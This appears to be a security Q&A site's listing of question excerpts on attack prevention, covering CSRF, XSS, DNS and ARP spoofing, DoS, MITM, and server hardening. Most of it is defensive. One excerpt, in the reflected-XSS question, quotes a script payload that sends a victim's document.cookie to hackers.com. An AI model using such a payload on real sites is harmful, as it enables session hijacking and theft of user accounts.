prevention of an attack vector (e.g. XSS, HPP, CSRF)

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How to Prevent This `Intrusion.Win.MSSQL.worm.Helkern`?

Sometimes my kaspersky Internet Security blocks this attack. What is this and how can I prevent/solve it for ever?
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2answers
239 views

Basic Security Knowledge [closed]

Perhaps I am being both naive and overly ambitious in my first post but I have a huge interest in learning about network and system security and am at a loss as to where to begin. I realize that stack ...
2
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1answer
120 views

Submit form with token

I have a token that I want to use to prevent direct access of some php-files. Some of these php-files are loaded via AJAX. The token is used with a session to secure form submission AND to prevent ...
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2answers
217 views

Will using SSL to secure Wordpress admin area only still actually be secure?

The vast majority of our website contains no sensitive information, logins, forms, etc. However there are portions driven by wordpress so we are looking into getting SSL to secure these areas. There ...
2
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1answer
227 views

White-Box Cryptography Questions and References

I have recently started reading about White-Box Cryptography and looking at references/papers/web sites. A have a few questions I was hoping to get guidance on. As far as I can tell, WBC has ...
2
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1answer
304 views

Android, how do I prevent Confused Deputy Attacks?

In case that a malicious mobile app hasn't the appropriate permissions to e.g. download a file, it can invoke a browser to download sth. Concrete examples of such an attack are shown from page 27 to ...
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3answers
190 views

How good is validating source with request.referer than checksum?

I have 2 portals(both are under my control & domain names are different) In 1st portal, there is a link on click of which User can directly get logged into 2nd portal. Link which will be hit in ...
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1answer
98 views

Where can I find articles about identity disclosure attack?

Where can I find more details about identity disclosure attack and it's prevention? If the adversary tries to steal the identity of an individual like mobile patterns and start appears in various ...
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1answer
130 views

Reflection Attacks on Server

I was reading a research paper entitled "Steps to Defend Against DoS Attacks" when I came across this point: "A reflection attack on a server would require server-client-server communication, ...
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1answer
545 views

Token Based Authentication & Pass-the-hash Attacks

Do token-based authentication solutions (such as RSA SecurID) mitigate tools like incognito and/or pass-the-hash tools?
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41 views

Arbitrary methods directly callable with Front Controller pattern

I'm working on converting an application that uses the traditional Page Controller pattern to start using the Front Controller pattern. One of the potential problems I'm thinking about is that with a ...
2
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1answer
369 views

External network DNS spoofing

I've been thinking recently if its possible to DNS spoof an external network. Let's say for example you are attacker.com and your victim is of course victim.com. Then I've thought of 2 scenarios: 1. ...
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5answers
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How to replace a constant identifier, for a resource on a network, with a variable one?

I guess the example can make it easier. Assume each Client on a network has an identifier(some alphanumeric sequence) which identifies it uniquely on the network. Each time the Client corresponds ...
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3answers
215 views

How to detect anomalous activity in web server traffic?

I'm wondering how to successfully detect malicious activity in my web server traffic? Could you point me out some popular solutions which can help me to detect attacks on my web application? I ...
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2answers
345 views

Prevent my site to be sniffed and changed by man-in-the-middle-attacks

I want to secure site which is locally used for Prepaid Services, the site has been hacked many times, for the first step, I implemented SSL and its now working fine, however, I want to be sure that ...
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2answers
274 views

Is the following code vulnerable? [closed]

Is following code vulnerable? If yes, how it can be exploited? <% Boolean redirectToSomeSite = (Boolean)request.getAttribute("redirectToSomeSite"); String someSiteUrl = ...
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2answers
239 views

Is the OData Protocol susceptible to Insecure Direct Object References?

The Open Data Protocol or OData is a great protocol created on top of Web Technologies.It uses the URI convention for the data exchange using Atom, JSON and XML. You can use the URI convention ...
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2answers
619 views

How is iptables useful to prevent attacks against a LAN?

I need some advice securing a LAN using iptables. I've found lots of examples on how to secure single host with iptables, including scanning ports, attacking using ICMP-flood and TCP-flood. These ...
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2answers
2k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
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1answer
67 views

How to protect integrity of resource files in a white-box attack context?

In a white-box attack context (e.g. PC, tablet, smartphone), there is no trusted entity, which can be used to guarantee some reasonable security. TPM is not considered a solution because it is not ...
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3answers
394 views

What are the risks of a rogue Access Point? What lessons can be learned from the Wifi Pineapple?

I'd like to educate colleagues and peers on rogue access points using the tool "Wifi Pineapple". What are some specific security-related lessons I could demonstrate? If applicable, what are the ...
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2answers
1k views

how an iframe can cause xsrf?

I know how a form tag is prone to CSRF which does not use any token (or any other challenge-response mechanism) but I was wondering how an iFrame can be used to cause XSRF attack and what would be the ...
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2answers
95 views

Which exploit types does software diversity have a benefit against?

This classical paper of Paul van Oorschot: Revisiting Software Protection, mentions in section 3.4 that by employing software diversity "an exploit crafted to succeed on one instance will not ...
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2answers
262 views

How to stop a (malicious) endless loop

Few days ago someone tried to crack my site using a Remote File Inclusion attack. The attack was blocked by my Web Application Firewall, but I was curious about the file. So I downloaded it started to ...
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1answer
552 views

CSRF with OAuth or Bearer Authorization headers

I am designing a RESTful API which is to be accessible from a web browser. The API is protected by Basic authentication. I understand the concept of CSRF, and the mitigations proposed (I found both ...
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1answer
163 views

Compromised server with psyBNC - what are our next steps?

One of our VPS servers has an install of psybnc on it. The install has been present for quite some time, and has now been brought to our attention. We have backups, but they also have psybnc on them. ...
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1answer
107 views

Guidelines on out-of-band server management via integrated Lights-out services (iLO, iDRAC etc.)

Several CVEs (CVE-2012-3271, CVE-2011-4158, and earlier) point out vulnerabilities in remote server administration firmware; what are the guidelines on hardening this extremely useful component of ...
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1answer
57 views

Dangers of a vulnerability in a local installer?

I sent a message to my dev manager about a buffer overflow in our (widely distributed) installer, and received a response that it didn't matter as it wasn't server code. Other than the fact that if ...
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1answer
73 views

How non-executable are implemented? [duplicate]

In the "Hacking the art of Exploitation" its said that the basic idea of stack overflows attacks is that the operating system can't differentiate instructions from data inside the stack ,and the ...
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0answers
36 views

Neutralizing or Migitating ARP spoofing once detected

I've seen a few methods to detect ARP Spoofing attacks through code(such as this), and ways to defend against these attacks through software and switches (like arp spoofing protection on LAN). How ...
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1answer
187 views

IIS Host Header Attacks

Is IIS and ASP vulnerable to the same Host Header Attacks we have seen on Apache and Nginx? Specifically the attacks that use the HTTP Host Header to reset a password or implement web-cache poisoning. ...
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0answers
59 views

Disable HNAP on D-Link router

I'm concerned that Home Network Administration Protocol (HNAP) is a serious vulnerability that exposes consumer network routers to remote management by malicious entities such as government ...
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0answers
132 views

Possible exploits for PHPword/ PHPexcel

I'm trying to identify what exploits to guard against when anonymous users generate reports with PHPword and PHPexcel (or similar libraries). Specifically, I'm worried about textarea inputs where ...
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2answers
288 views

How can I protect myself against programs that turn the webcam on without the indicator light? [duplicate]

Webcams can be turned on without the indicator light: to prevent unwanted use, I wonder whether there exist applications warning that the webcam is being used, or any other kind of protection.
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308 views

How to verify correct, secure and test setuid?

I've been looking into setuid vulnerabilities. Particularly, I am looking on OS X (10.5+) but other modern *nix distos apply as well. For example, I found a world writable suid file installed by a ...
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3answers
557 views

Are Facebook, Yahoo, Google, etc. hackable?

Just to be clear, I am not asking how to hack in these services, I am just curious. Let me try to explain. Since I know a little bit about computers, people automatically assume I know how to have, ...
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1answer
393 views

Man-in-the-middle attack over an encrypted channel

I learned recently about man-in-the-middle attacks and came up with this question. Let's say we have two computers who try to communicate over the network. Each computer has an encryptor and a ...
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2answers
59 views

Unknown hijacker/popups on the browser

I was cleaning my father’s laptop which was recently infected by a fairly tenacious piece of malware. It hasn't given any great clues as to what it is named or anything of that sort and thus far ...
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2answers
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CSRF prevention understanding

I was searching around about CSRF attacks and I am thinking about the "random form token" prevention concept. Let's say every form has a "hidden token" inside and the server checks the token before ...
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1answer
304 views

Wordpress online pharmacy hack? [duplicate]

Possible Duplicate: Protecting WordPress installations anybody knows how to protect your WordPress website from online pharmacy spam, even after deleting all spam files and deleting spam ...
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2answers
1k views

How do we protect our server from anonymous hacker? [duplicate]

Possible Duplicates: Hardening Linux Server How to best defend against Targeted Attacks? I read this news: Anonymous hacker group hits Apple, publishes data My question: How do we ...
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1answer
134 views

Have I done enough not be compromised through image uploading

I know that you can never be sure that you have done enough to be secure, and I also know that file uploading is hard to make correct. Before asking this question I read some of the related posts here ...
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2answers
555 views

Windows user: Is having many active TCP connections normal?

Is this normal? Can any ports be "dangerous"? I have 9 tcp's in a listening state, 4 in a close_wait state, and 4 in an established state. Some of them route to odd procceses using PID such as ...
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2answers
1k views

Hardened SSL ciphers for Nginx as AWS/Cloudfront Custom Origin

Based on recommendations, we recently attempted to harden our Nginx SSL configuration against BEAST/CRIME/BREACH attacks with the following stanza: ssl_prefer_server_ciphers on; ssl_ciphers ...
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2answers
156 views

How can I encrypt something user provided without risk of the key being exposed?

So, let's say I have a theoretical service. User has some text they want to encrypt. They pass it to me, and I encrypt it. Then, only I should be able to decrypt it afterwards. Another kicker, it must ...
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58 views

To what extend can a DOS attack succeed even if it was detected?

While reading DOS detection and prevention http://staffweb.cms.gre.ac.uk/~lg47/publications/LoukasOke-DoSSurveyComputerJournal.pdf I've asked myself: Even if a firewall detects a DOS attack and begins ...
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2answers
316 views

How can I stop this attack on my router?

After enabling system log on my Asus DSL-N10E router, I've got this message: DoS: Tcp SYN With Data Attack source=217.74.166.73 What does it mean? Is it a real danger on my network security? And ...
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1answer
107 views

Employee Snooping [closed]

I just got hired at this SW tech company with a few IT gurus in it. There is a clever genius that is suspect. He obtained my personal home email address I use. It was obtained from company ...
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98 views

File-structure when using token

I'm using a form-token to secure the validation process of my php-file. Basically the structure of the php-file looks like this: if ($_POST) {//form has been submitted? if (validateFormToken) { ...
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92 views

Finding the method of attack [closed]

My server has been repeatedly attacked in the last few days. Here's the observations: The ISP server traffic monitor shows the incoming traffic goes up to 300Mbps (with no outgoing traffic), and ...